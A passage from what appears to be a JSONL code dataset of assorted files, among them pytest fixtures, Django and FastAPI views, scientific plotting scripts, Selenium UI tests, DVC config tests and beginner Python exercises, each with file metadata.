1\n\n\n@pytest.fixture\n@pytest.mark.usefixtures('db_session')\ndef link_factory():\n def make(external_url=None):\n global counter\n link = create_link(\n external_url=external_url or f'http://www.hello{counter}.com'\n )\n counter += 1\n\n return link\n\n return make\n\n\n@pytest.fixture\ndef internal_path_regex():\n \"\"\" URL safe base 64 regex pattern. \"\"\"\n return r'[0-9a-zA-Z]|[-_]{10}'\n","sub_path":"tests/fixtures/url_shortener.py","file_name":"url_shortener.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"561259089","text":"height = float(input(\"請輸入球員的身高(cm): \"))\nweight = float(input(\"請輸入球員的體重(kg): \"))\nbmi = weight / ((height / 100) ** 2)\n\nif bmi < 18.5:\n print(\"Underweight\")\nelif bmi > 30:\n print(\"Obese\")\nelif (bmi >= 18.5) and (bmi < 25):\n print(\"Normal weight\")\nelse:\n print(\"Overweight\")\n","sub_path":"Basic/ex4_if_else.py","file_name":"ex4_if_else.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"297687168","text":"import sys\r\nfrom HumanAgreementLabels.ExactStringMatch import ExactStringMatch\r\n# from HumanAgreementLabels.NotExactStringMatch import NotExactStringMatch\r\n# from HumanAgreementLabels.OneDisagreement import OneDisagreement\r\n# #from HumanAgreementLabels.BimodalAgreement import BiomodalAgreement\r\n# from HumanAgreementLabels.UnimodalAgreement import UnimodalAgreement\r\n# from HumanAgreementLabels.NoAgreement import NoAgreement\r\n# from HumanAgreementLabels.Entropy import Entropy\r\n\r\nclass AgreementMeasureFactory:\r\n\r\n\r\n def createAgreementMeasure(measureType):\r\n if (measureType == \"ExactString\"):\r\n return ExactStringMatch()\r\n # elif (measureType == \"NotExactString\"):\r\n # return NotExactStringMatch()\r\n # elif (measureType == \"OneDisagreement\"):\r\n # return OneDisagreement()\r\n # #elif (measureType == \"Bimodal\"):\r\n # #return BiomodalAgreement()\r\n # elif (measureType == \"Unimodal\"):\r\n # return UnimodalAgreement()\r\n # elif (measureType == \"NoAgreement\"):\r\n # return NoAgreement()\r\n # elif (measureType == \"Entropy\"):\r\n # return Entropy()\r\n else:\r\n print(\"Failed to create measure: %s\" %(measureType))\r\n sys.exit()","sub_path":"HumanAgreementLabels/AgreementMeasureFactory.py","file_name":"AgreementMeasureFactory.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"572946089","text":"import csv\nclass CarBase:\n def __init__(self, brand, photo_file_name, carrying):\n self.brand = brand\n self.photo_file_name = photo_file_name\n self.carrying = carrying\n\n def get_photo_file_ext(self):\n return os.path.splitext(self.photo_file_name)[1]\n\n\nclass Car(CarBase):\n def __init__(self, brand, photo_file_name, carrying, passenger_seats_count):\n super().__init__(brand, photo_file_name,carrying)\n self.car_type = 'car'\n self.passenger_seats_count = passenger_seats_count\n\n\nclass Truck(CarBase):\n def __init__(self, brand, photo_file_name, carrying, body_whl):\n super().__init__(brand, photo_file_name,carrying)\n self.car_type = 'truck'\n \n if body_whl:\n whl = body_whl.split(sep='x')\n self.body_length = float(whl[0])\n self.body_width = float(whl[1])\n self.body_height = float(whl[2])\n else: \n self.body_length,self.body_width,self.body_height = 0,0,0\n \n def get_body_volume(self):\n return self.body_length*self.body_width*self.body_height\n\nclass SpecMachine(CarBase):\n \n def __init__(self, brand, photo_file_name, carrying, extra):\n super().__init__(brand, photo_file_name,carrying)\n self.car_type = 'spec_machine'\n self.extra = extra\n\n \ndef get_car_list(csv_filename):\n car_list = []\n \n with open(csv_filename) as csv_fd:\n reader = csv.reader(csv_fd, delimiter=';')\n next(reader) # пропускаем заголовок\n for row in reader:\n print(row)\n try:\n cartype = row[0]\n except IndexError: \n continue\n \n if cartype == 'car':\n try:\n car_list.append(Car(row[1],row[3],row[5],row[2]))\n except IndexError: \n continue\n \n if cartype == 'truck':\n try:\n car_list.append(Truck(row[1],row[3],row[5],row[4]))\n except IndexError: \n continue\n \n if cartype == 'spec_machine':\n try:\n car_list.append(SpecMachine(row[1],row[3],row[5],row[6]))\n except IndexError:\n continue\n \n return car_list\n","sub_path":"week03_02.py","file_name":"week03_02.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"135463686","text":"from rest_framework import (\n viewsets, status\n)\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n\nfrom resources.models import Resource\nfrom resources.api.serializers import (\n ResourceSerializer, ResourceSerializerPost)\n\n@api_view(['GET', 'POST'])\ndef resources_list(request):\n if request.method == 'GET':\n if(request.data and request.data[\"organisation\"]):\n org_id = request.data[\"organisation\"]\n resources = Resource.objects.filter(organisation=org_id)\n serializer = ResourceSerializer(resources, many=True)\n return Response(serializer.data)\n\n resources = Resource.objects.all()\n serializer = ResourceSerializer(resources, many=True)\n return Response(serializer.data);\n\n elif request.method == 'POST':\n # print(request.data)\n serializer = ResourceSerializerPost(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([\"GET\", \"PUT\", \"DELETE\"])\ndef resource_detail(request, pk):\n try:\n resource = Resource.objects.get(pk=pk)\n except Resource.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n if request.method == \"GET\":\n serializer = ResourceSerializer(resource)\n return Response(serializer.data)\n\n elif request.method == \"PUT\":\n serializer = ResourceSerializer(resource, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n elif request.method == \"DELETE\":\n resource.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n","sub_path":"resources/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"71991415","text":"import os\nimport pandas as pd\nfrom scipy.stats import friedmanchisquare\nfrom scikit_posthocs import posthoc_nemenyi_friedman\n\n\nmetric = 'mean_squared_error'\n\n# get average over cv folds\ndf_results = pd.read_csv('results/results.csv', usecols=['Dataset Name', 'Algorithm Name', metric])\ndataset_names = pd.unique(df_results['Dataset Name'])\nmodel_names = pd.unique(df_results['Algorithm Name'])\naverage_results = {'dataset': dataset_names}\ngroups_by_model = df_results.groupby('Algorithm Name')\nfor model_name in model_names:\n df_model = groups_by_model.get_group(model_name)\n groups_by_dataset = df_model.groupby('Dataset Name')\n model_mean = []\n for dataset_name in dataset_names:\n model_mean.append(groups_by_dataset.get_group(dataset_name)[metric].mean())\n average_results[model_name] = model_mean\ndf_results = pd.DataFrame(average_results)\ndf_results.to_csv('results/average_results.csv', index=False)\n\n# friedman and post hoc tests\nt_stat, p_val = friedmanchisquare(*[df_results[i] for i in model_names])\nprint('\\nfriedman test p-val = %s' % p_val)\npost_hoc_p_vals = posthoc_nemenyi_friedman(df_results.drop(columns='dataset').to_numpy())\npost_hoc_p_vals.columns = model_names\nprint('\\npost hoc p-vals:\\n%s' % post_hoc_p_vals)\n\n","sub_path":"StatisticalTests.py","file_name":"StatisticalTests.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"335897595","text":"import sys\n\nfrom pre_commit import output\n\n\ndef main(argv=None):\n argv = argv if argv is not None else sys.argv[1:]\n for arg in argv:\n output.write_line(arg)\n\n\nif __name__ == '__main__':\n exit(main())\n","sub_path":"pre_commit/meta_hooks/identity.py","file_name":"identity.py","file_ext":"py","file_size_in_byte":217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"524030053","text":"\"\"\"\r\nCreated on Jul 9, 2019\r\n\r\nBe aware that hdus.close () needs to be called to limit the number of open files at a given time.\r\n \r\n@author: skwok\r\n\"\"\"\r\n\r\nimport astropy.io.fits as pf\r\nfrom astropy.utils.exceptions import AstropyWarning\r\nimport warnings\r\n\r\nfrom keckdrpframework.models.arguments import Arguments\r\nfrom keckdrpframework.primitives.base_primitive import BasePrimitive\r\n\r\n\r\ndef open_nowarning(filename):\r\n with warnings.catch_warnings():\r\n warnings.simplefilter(\"ignore\", AstropyWarning)\r\n return pf.open(filename, memmap=False)\r\n\r\n\r\nclass SimpleFitsReader(BasePrimitive):\r\n \"\"\"\r\n classdocs\r\n \"\"\"\r\n\r\n def __init__(self, action, context):\r\n \"\"\"\r\n Constructor\r\n \"\"\"\r\n BasePrimitive.__init__(self, action, context)\r\n\r\n def _perform(self):\r\n \"\"\"\r\n Expects action.args.name as fits file name\r\n Returns HDUs or (later) data model\r\n \"\"\"\r\n name = self.action.args.name\r\n self.logger.info(f\"Reading {name}\")\r\n out_args = Arguments()\r\n out_args.name = name\r\n out_args.hdus = open_nowarning(name)\r\n\r\n return out_args\r\n","sub_path":"keckdrpframework/primitives/simple_fits_reader.py","file_name":"simple_fits_reader.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"649235455","text":"\"\"\"\n-----------------------------------------------------------------------------------------\npycortex_maps.py\n-----------------------------------------------------------------------------------------\nGoal of the script:\nDisplay cortical data with pycortex \n-----------------------------------------------------------------------------------------\nInput(s):\nsys.argv[1]: local mount of mesocentre disk (e.g. ~/disks/meso_S/)\nsys.argv[2]: subject name (e.g. 'sub-001')\nsys.argv[3]: task (e.g. pRF, pMF)\nsys.argv[4]: pre-processing steps (fmriprep_dct or fmriprep_dct_pca)\nsys.argv[4]: registration (e.g. T1w)\nsys.argv[6]: save SVG (0 = No, 1 = Yes)\nsys.argv[7]: save timecourses\nsys.argv[8]: sub_task (e.g. 'sac', 'sp')\n-----------------------------------------------------------------------------------------\nOutput(s):\npycortex flat maps figures\n-----------------------------------------------------------------------------------------\nTo run:\n>> cd to function\n>> python post_fit/pycortex_maps.py [mount] [subject] [task] [preproc] [reg] [svg] \n [tc] [sub_task]\n-----------------------------------------------------------------------------------------\nExemple:\ncd ~/disks/meso_H/projects/PredictEye/mri_analysis/\npython post_fit/pycortex_maps.py ~/disks/meso_S sub-01 pRF fmriprep_dct T1w 0 0\npython post_fit/pycortex_maps.py ~/disks/meso_S sub-01 pRF fmriprep_dct T1w 0 1\npython post_fit/pycortex_maps.py ~/disks/meso_S sub-01 pMF fmriprep_dct T1w 0 0 sac\npython post_fit/pycortex_maps.py ~/disks/meso_S sub-01 pMF fmriprep_dct T1w 0 0 sp\n-----------------------------------------------------------------------------------------\nWritten by Martin Szinte (martin.szinte@gmail.com)\n-----------------------------------------------------------------------------------------\n\"\"\"\n\n# Stop warnings\n# -------------\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# General imports\n# ---------------\nimport os\nimport sys\nimport json\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# MRI imports\n# -----------\nimport nibabel as nb\nimport cortex\n\n# Functions import\n# ----------------\nfrom utils import draw_cortex_vertex, set_pycortex_config_file\n\n# Get inputs\n# ----------\nmount_dir = sys.argv[1]\nsubject = sys.argv[2]\ntask = sys.argv[3]\npreproc = sys.argv[4]\nregist_type = sys.argv[5]\nsave_svg = int(sys.argv[6])\nif save_svg == 1: save_svg = True\nelse: save_svg = False\nplot_tc = int(sys.argv[7])\nif len(sys.argv) < 9: sub_task = ''\nelse: sub_task = sys.argv[8]\n\n# Define analysis parameters\n# --------------------------\nwith open('settings.json') as f:\n json_s = f.read()\n analysis_info = json.loads(json_s)\n\n# Define folder\n# -------------\nxfm_name = \"identity.fmriprep\"\nbase_dir = \"{}/data/PredictEye\".format(mount_dir)\nderiv_dir = \"{}/pp_data/{}/gauss/fit/{}\".format(base_dir,subject, task)\n\n# Set pycortex db and colormaps\n# -----------------------------\nset_pycortex_config_file(base_dir)\n\n# Pycortex plots\n# --------------\nrsq_idx, ecc_idx, polar_real_idx, polar_imag_idx , size_idx, \\\n amp_idx, baseline_idx, cov_idx, x_idx, y_idx = 0,1,2,3,4,5,6,7,8,9\n\ncmap_polar = 'hsv2'\ncmap_uni = 'Reds2'\ncmap_ecc_size = 'Spectral2'\ncol_offset = 1.0/14.0\ncmap_steps = 255\n\nprint('save pycortex flatmaps')\nmaps_names = []\nflatmaps_dir = '{}/pp_data/{}/gauss/pycortex_outputs/flatmaps'.format(base_dir, subject)\nwebviewer_dir = '{base_dir}/pp_data/{subject}/gauss/pycortex_outputs/webviewer/{subject}_{task}{sub_task}_{reg}_{preproc}'.format(\n base_dir=base_dir, subject=subject, task=task, sub_task=sub_task, reg=regist_type, preproc=preproc)\n\ntry:\n os.makedirs(flatmaps_dir)\n os.makedirs(webviewer_dir)\nexcept:\n pass\n\n# Load data\nderiv_mat_file = \"{deriv_dir}/{subject}_task-{task}{sub_task}_space-{reg}_{preproc}_deriv.nii.gz\".format(\n deriv_dir=deriv_dir, subject=subject, task=task, sub_task=sub_task, reg=regist_type, preproc=preproc)\n\nimg_deriv_mat = nb.load(deriv_mat_file)\nderiv_mat = img_deriv_mat.get_fdata()\n\n# R-square\nrsq_data = deriv_mat[...,rsq_idx]\nalpha = rsq_data\nparam_rsq = {'data': rsq_data, 'cmap': cmap_uni, 'alpha': alpha, 'vmin': 0,'vmax': 1,'cbar': 'discrete',\n 'description': '{}{} rsquare'.format(task, sub_task), 'curv_brightness': 1, 'curv_contrast': 0.1, 'add_roi': False}\nmaps_names.append('rsq')\n\n# Polar angle\npol_comp_num = deriv_mat[...,polar_real_idx] + 1j * deriv_mat[...,polar_imag_idx]\npolar_ang = np.angle(pol_comp_num)\nang_norm = (polar_ang + np.pi) / (np.pi * 2.0)\nang_norm = np.fmod(ang_norm + col_offset,1)\nparam_polar = { 'data': ang_norm, 'cmap': cmap_polar, 'alpha': alpha, 'vmin': 0, 'vmax': 1, 'cmap_steps': cmap_steps,\n 'cbar': 'polar', 'col_offset': col_offset, 'description': '{task}{sub_task} polar:{cmap_steps:3.0f} steps'.format(task=task, sub_task=sub_task, cmap_steps=cmap_steps), \n 'curv_brightness': 0.1, 'curv_contrast': 0.25, 'add_roi': save_svg}\nexec('param_polar_{cmap_steps} = param_polar'.format(cmap_steps = int(cmap_steps)))\nexec('maps_names.append(\"polar_{cmap_steps}\")'.format(cmap_steps = int(cmap_steps)))\n\n# Eccentricity\necc_data = deriv_mat[...,ecc_idx]\nparam_ecc = {'data': ecc_data, 'cmap': cmap_ecc_size, 'alpha': alpha, 'vmin': 0, 'vmax': 15,'cbar': 'ecc', \n 'description': '{}{} eccentricity'.format(task, sub_task), 'curv_brightness': 1, 'curv_contrast': 0.1, 'add_roi': save_svg}\nmaps_names.append('ecc')\n\n# Size\nsize_data = deriv_mat[...,size_idx]\nparam_size = {'data': size_data, 'cmap': cmap_ecc_size, 'alpha': alpha, 'vmin': 0, 'vmax': 8, 'cbar': 'discrete', \n 'description': '{}{} size'.format(task, sub_task), 'curv_brightness': 1, 'curv_contrast': 0.1, 'add_roi': False}\nmaps_names.append('size')\n\n# Coverage\nif task == 'pRF':\n cov_data = deriv_mat[...,cov_idx]\n param_cov = {'data': cov_data, 'cmap': cmap_uni, 'alpha': alpha,'vmin': 0, 'vmax': 1, 'cbar': 'discrete', \n 'description': '{}{} coverage'.format(task, sub_task), 'curv_brightness': 1, 'curv_contrast': 0.1, 'add_roi': False}\n maps_names.append('cov')\n\n# Draw flatmaps\nvolumes = {}\nfor maps_name in maps_names:\n\n roi_name = '{}_{}{}_{}_{}'.format(maps_name, task, sub_task, regist_type, preproc)\n roi_param = {'subject': subject, 'xfmname': xfm_name, 'roi_name': roi_name}\n print(roi_name)\n exec('param_{}.update(roi_param)'.format(maps_name))\n exec('volume_{maps_name} = draw_cortex_vertex(**param_{maps_name})'.format(maps_name=maps_name))\n \n exec(\"plt.savefig('{}/{}_task-{}{}_space-{}_{}.pdf')\".format(flatmaps_dir, maps_name, task, sub_task, regist_type, preproc))\n plt.close()\n exec('vol_description = param_{}[\"description\"]'.format(maps_name))\n exec('volume = volume_{}'.format(maps_name))\n volumes.update({vol_description:volume})\n\nprint('save pycortex webviewer')\ncortex.webgl.make_static(outpath=webviewer_dir, data=volumes)\n\n# TC data\n# -------\nif plot_tc == 1:\n\n # load volume\n print('load: {} time course'.format(task))\n tc_file = \"{base_dir}/pp_data/{subject}/func/{subject}_task-{task}_space-{reg}_{preproc}_avg.nii.gz\".format(\n base_dir=base_dir, subject=subject, task=task, reg=regist_type, preproc=preproc)\n img_tc = nb.load(tc_file)\n tc = img_tc.get_fdata()\n\n # create directory\n webviewer_dir = '{base_dir}/pp_data/{subject}/gauss/pycortex_outputs/webviewer/{subject}_{task}_{reg}_{preproc}_tc'.format(\n base_dir= base_dir, subject=subject, task=task, reg=regist_type, preproc=preproc)\n\n try:\n os.makedirs(webviewer_dir)\n except:\n pass\n \n # create volume\n volume_tc = cortex.Volume(data=tc.transpose((3,2,1,0)), subject=subject, xfmname=xfm_name, cmap='BuBkRd', description='BOLD')\n\n # create webgl\n print('save pycortex webviewer: time course {}'.format(task))\n cortex.webgl.make_static(outpath = webviewer_dir, data = volume_tc)","sub_path":"mri_analysis/post_fit/.ipynb_checkpoints/pycortex_maps-checkpoint.py","file_name":"pycortex_maps-checkpoint.py","file_ext":"py","file_size_in_byte":7913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"382409193","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\nfrom distutils.core import setup, Extension\n\nnames = ['PyABI.cpp']\n\nnames.append('sqlite3.c')\n\nabi_module = Extension('PyABI_pyd', sources = names)\n\nsetup(name='PyABI_pyd',\n version='0.0.42',\n description='Core C++ PyABI',\n ext_modules=[abi_module])\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"374607663","text":"# 项目-测试工程师测试脚本\nimport logging\nimport os\nimport shutil\nimport get_video\nfrom time import sleep\nfrom datetime import datetime\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport config\nimport mpcloud\n\n\n# 主程序\ndef main(driver, user=config.USER_MOD_TE):\n # user :USER_PRO_PM\n startTime = datetime.now()\n\n # 测试目录\n logData = datetime.now().strftime('%Y-%m-%d')\n LOGDIR = logData + '/' + user['NAME']\n\n # 检查目录\n if os.path.exists(logData):\n pass\n else:\n os.mkdir(logData)\n\n if os.path.exists(LOGDIR):\n pass\n else:\n os.mkdir(LOGDIR)\n\n # 测试结果\n resu = ''\n result = {'errcode': 0, 'errmsg': 'ok'}\n\n # LOG文件名\n logName = datetime.now().strftime('%Y%m%d%H%M%S')\n\n # 保存路径\n savePath = LOGDIR + '/' + logName\n\n # 指定logger输出格式\n logger = logging.getLogger()\n formatter = logging.Formatter('%(asctime)s-%(levelname)s-%(message)s')\n\n # DEBUG输出保存测试LOG\n file_handler = logging.FileHandler('test.log')\n file_handler.setFormatter(formatter)\n file_handler.setLevel(logging.INFO)\n\n logger.addHandler(file_handler)\n\n # 录像开始\n Save = get_video.Job()\n Save.start()\n\n try:\n # 设置等待时间\n wait = WebDriverWait(driver, 10)\n\n # 最大化\n driver.maximize_window()\n\n # 前往测试前端网站\n logging.info('Go to ' + config.URL)\n driver.get(config.URL)\n\n # 登录\n logging.info('登录账户：' + user['NAME'])\n mpcloud.login(wait, email=user['EMAIL'], password=user['LOGIN'])\n\n # 个人资料\n logging.info('个人中心-我的资料')\n mpcloud.userInfo(driver, wait, user)\n\n # 产品管理\n logging.info('产品线和项目管理')\n mpcloud.productManager(driver, wait, user)\n\n # 产品管理-产品线列表\n logging.info('产品管理-产品线列表')\n mpcloud.proList(driver, wait, user)\n\n # 软件管理，请安排人工测试\n\n # # 订单管理\n logging.info('订单管理')\n mpcloud.orderManager(driver, wait, user)\n\n # 订单管理-订单列表\n logging.info('订单管理-订单列表')\n mpcloud.orderList(driver, wait, user)\n\n # 样品管理\n logging.info('样品管理')\n mpcloud.sampleManage(driver, wait, user)\n\n # 样品管理-添加样品\n logging.info('样品管理-添加样品')\n mpcloud.addSampe(driver, wait, user)\n\n # 样品管理-添加不良品样品\n logging.info('样品管理-添加不良品样品')\n mpcloud.addNgSampe(driver, wait, user)\n\n # 测试结果PASS\n resu = 'pass'\n\n except Exception as E:\n logging.info(E)\n\n # 测试结果FAIL\n resu = 'fail'\n result['errcode'] = 1\n result['errmsg'] = str(E)\n\n finally:\n if not config.hide:\n # 屏幕截图\n save_screen = driver.save_screenshot(savePath + '-' + resu +\n '.png')\n if save_screen:\n logging.info('测试结果截图：' + savePath + '-' + resu + '.png')\n else:\n logging.info('测试结果截图失败')\n\n # 录像结束\n Save.stop()\n sleep(1)\n\n # 保存录像到指定路径\n shutil.move('test.avi', savePath + '-' + resu + '.avi')\n\n # 浏览器退出\n driver.quit()\n\n # 测试时间\n allTime = datetime.now() - startTime\n logging.info(resu.upper() + ' 测试时间：' + str(allTime))\n\n # 保存测试LOG\n logger.removeHandler(file_handler)\n file_handler.close()\n shutil.move('test.log', savePath + '-' + resu + '.log')\n\n return result\n\n\nif __name__ == '__main__':\n main(driver=webdriver.Chrome(), user=config.USER_MOD_TE)\n","sub_path":"2.0/model_te.py","file_name":"model_te.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"279383731","text":"\"\"\"\nSUMMER OF '69: Return the sum of the numbers in the array, \nexcept ignore sections of numbers starting with a 6 and \nextending to the next 9 (every 6 will be followed by at least one 9). \nReturn 0 for no numbers.\n\nsummer_69([1, 3, 5]) --> 9\nsummer_69([4, 5, 6, 7, 8, 9]) --> 9\nsummer_69([2, 1, 6, 9, 11]) --> 14\n\"\"\"\n\n#######################\n## SOLUTION BY KEVIN ##\n#######################\n\ndef summer_69(arr):\n\n\tsum = 0\n\tstill_adding = True\n\n\tfor num in arr:\n\t\tif still_adding:\n\t\t\tif num == 6:\n\t\t\t\tstill_adding = False\n\t\t\telse:\n\t\t\t\tsum += num\n\t\telse:\n\t\t\tif num == 9:\n\t\t\t\tstill_adding = True\n\n\treturn sum\n\nprint(summer_69([1, 3, 5]))\nprint(summer_69([4, 5, 6, 7, 8, 9]))\nprint(summer_69([2, 1, 6, 9, 11]))","sub_path":"FUNCTION_PRACTICE_EXERCISES/summer_69.py","file_name":"summer_69.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"325951508","text":"import configobj\n\nfrom dvc.main import main\nfrom tests.basic_env import TestDvc\n\n\nclass TestConfigCLI(TestDvc):\n def _contains(self, section, field, value, local=False):\n if local:\n fname = self.dvc.config.config_local_file\n else:\n fname = self.dvc.config.config_file\n\n config = configobj.ConfigObj(fname)\n if section not in config.keys():\n return False\n\n if field not in config[section].keys():\n return False\n\n if config[section][field] != value:\n return False\n\n return True\n\n def test_root(self):\n ret = main([\"root\"])\n self.assertEqual(ret, 0)\n\n # NOTE: check that `dvc root` is not blocked with dvc lock\n with self.dvc.lock:\n ret = main([\"root\"])\n self.assertEqual(ret, 0)\n\n def _do_test(self, local=False):\n section = \"setsection\"\n field = \"setfield\"\n section_field = \"{}.{}\".format(section, field)\n value = \"setvalue\"\n newvalue = \"setnewvalue\"\n\n base = [\"config\"]\n if local:\n base.append(\"--local\")\n\n ret = main(base + [section_field, value])\n self.assertEqual(ret, 0)\n self.assertTrue(self._contains(section, field, value, local))\n\n ret = main(base + [section_field])\n self.assertEqual(ret, 0)\n\n ret = main(base + [section_field, newvalue])\n self.assertEqual(ret, 0)\n self.assertTrue(self._contains(section, field, newvalue, local))\n self.assertFalse(self._contains(section, field, value, local))\n\n ret = main(base + [section_field, \"--unset\"])\n self.assertEqual(ret, 0)\n self.assertFalse(self._contains(section, field, value, local))\n\n def test(self):\n self._do_test(False)\n\n def test_local(self):\n self._do_test(True)\n\n def test_non_existing(self):\n ret = main([\"config\", \"non_existing_section.field\"])\n self.assertEqual(ret, 251)\n\n ret = main([\"config\", \"global.non_existing_field\"])\n self.assertEqual(ret, 251)\n\n ret = main([\"config\", \"non_existing_section.field\", \"-u\"])\n self.assertEqual(ret, 251)\n\n ret = main([\"config\", \"global.non_existing_field\", \"-u\"])\n self.assertEqual(ret, 251)\n\n ret = main([\"config\", \"core.remote\", \"myremote\"])\n self.assertEqual(ret, 0)\n\n ret = main([\"config\", \"core.non_existing_field\", \"-u\"])\n self.assertEqual(ret, 251)\n","sub_path":"tests/func/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"470010091","text":"from uuid import UUID\n\nfrom fastapi import APIRouter\nfrom fastapi import Depends\n\nfrom aristaeus.controllers.api.dtos.parameter import ParameterOut\nfrom aristaeus.controllers.api.dtos.parameter import PostParameterIn\nfrom aristaeus.controllers.api.dtos.parameter import PutParameterIn\nfrom aristaeus.controllers.api.utils.auth import auth_user\nfrom aristaeus.domain.services.parameter import ParameterApplication\nfrom aristaeus.domain.commands.parameter import CreateParameterCommand\nfrom aristaeus.domain.commands.parameter import PutParameterCommand\nfrom aristaeus.domain.entities.user import User\nfrom aristaeus.domain.queries.parameter import ParameterQuery\n\nrouter = APIRouter()\n\n\n@router.post(\"\", response_model=ParameterOut)\nasync def post_parameter(input: PostParameterIn, user: User = Depends(auth_user)):\n command = CreateParameterCommand(key=input.key, value=input.value, organization_id=user.organization_id)\n parameter_application = ParameterApplication()\n parameter_entity = await parameter_application.create(command=command)\n\n return parameter_entity.asdict()\n\n\n@router.get(\"/{parameter_id}\", response_model=ParameterOut)\nasync def get_parameter(parameter_id: UUID, user: User = Depends(auth_user)):\n parameter_entity = await ParameterQuery().get_parameter(parameter_id)\n return parameter_entity.asdict()\n\n\n@router.get(\"\", response_model=list[ParameterOut])\nasync def list_parameters(key: str | None = None, user: User = Depends(auth_user)):\n parameter_entities = await ParameterQuery().list_parameters(organization_id=user.organization_id, key=key)\n return [parameter.asdict() for parameter in parameter_entities]\n\n\n@router.put(\"/{parameter_id}\", response_model=ParameterOut)\nasync def put_parameter(parameter_id: UUID, input: PutParameterIn, user: User = Depends(auth_user)):\n command = PutParameterCommand(\n parameter_id=parameter_id,\n value=input.value,\n )\n parameter_application = ParameterApplication()\n parameter_entity = await parameter_application.put(command=command)\n return parameter_entity.asdict()\n\n\n@router.delete(\"/{parameter_id}\", status_code=204)\nasync def delete_parameter(parameter_id: UUID, user: User = Depends(auth_user)):\n parameter_application = ParameterApplication()\n await parameter_application.delete(public_id=parameter_id)\n return 204\n","sub_path":"aristaeus/src/aristaeus/controllers/api/resources/parameter.py","file_name":"parameter.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"109652305","text":"import json\n\n\nclass model(object):\n def __init__(self, dictmodel):\n self.modelTypeId = dictmodel.modelTypeId\n self.modelName = dictmodel.modelName\n\n\nclass ParamModel(object):\n def __init__(self, **kw):\n self.paramModel = []\n # print(type(paramModel))\n self._paramModel = [model for x in paramModel]\n print(len(self._paramModel))\n # print(self._paramModel[0])\n\n\n# Day01-15\\Day11\\\nwith open(r'E37971408.json', mode='r', encoding='utf-8') as f:\n text = f.read(\n ) # .decode(encoding='gbk',errors='ingore').encode(encoding='utf-8')\n\nkjlList = json.loads(text)\nlist_key = []\nprint(type(kjlList))\n# kujia = ParamModel(**kjlList)\nj = 0\nfor key in kjlList.keys():\n print(key)\n list_key.append(key)\na = list_key[0]\n\nprint(kjlList[a])\nprint(type(kjlList[a]))\nfor i in list_key:\n for dic in kjlList[list_key[j]]:\n print(dic)\n j += 1\n","sub_path":"Day01-15/Day11/json3.py","file_name":"json3.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"93421405","text":"'''\nAuthor: Aiden Chang, Duc Nguyen\nRevised by: Aiden Chang\nWinter 2021, cs257\nCode will contain arg parse commands. See usage.txt for details.\n'''\nimport argparse, csv, sys\n\n\ndef get_parsed_args():\n parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) \n '''for the newline characters RawTextHelpFormatter\n RawTextHelpFormatter inspired by some post in stack overflow'''\n group = parser.add_mutually_exclusive_group()\n \n group.add_argument(\"--title\", \"-t\", help='''\n Example: python3 books.py -t \"Mobi\"\n Searches for and displays all books containing the string **book title**. The string is case sensitive. If you want to include space, put the string in quotation marks.\n '''\n , type = str, nargs = 1)\n '''Inspired by pythons argphase module'''\n\n group.add_argument(\"--author\", \"-a\", help= '''\n Example: python3 books.py -a \"Toni\"\n Searches for and displays all authors containing the string **author name**. For each of those authors, every book by them is displayed. The string is case sensitive. If you want to include space, put the string in quotation marks.\n '''\n , type = str, nargs = 1)\n\n group.add_argument(\"--multi_search\", \"-ms\", help = '''\n After the command is typed in, a prompt will appear and ask for the user input. \n After the first prompt appears, type in the author's name you wish to search. Doing the same for the book title for the second prompt and the starting and ending year for the third prompt. \n The input is case sensitive. Typing exit() will allow the user to abort the search and exit at any moment. Press Enter will allow the user to skip the current prompt. After all three prompts, all the books fitting all three criteria will be displayed.\n ''', action=\"store_true\")\n\n group.add_argument(\"--year\", \"-y\", help 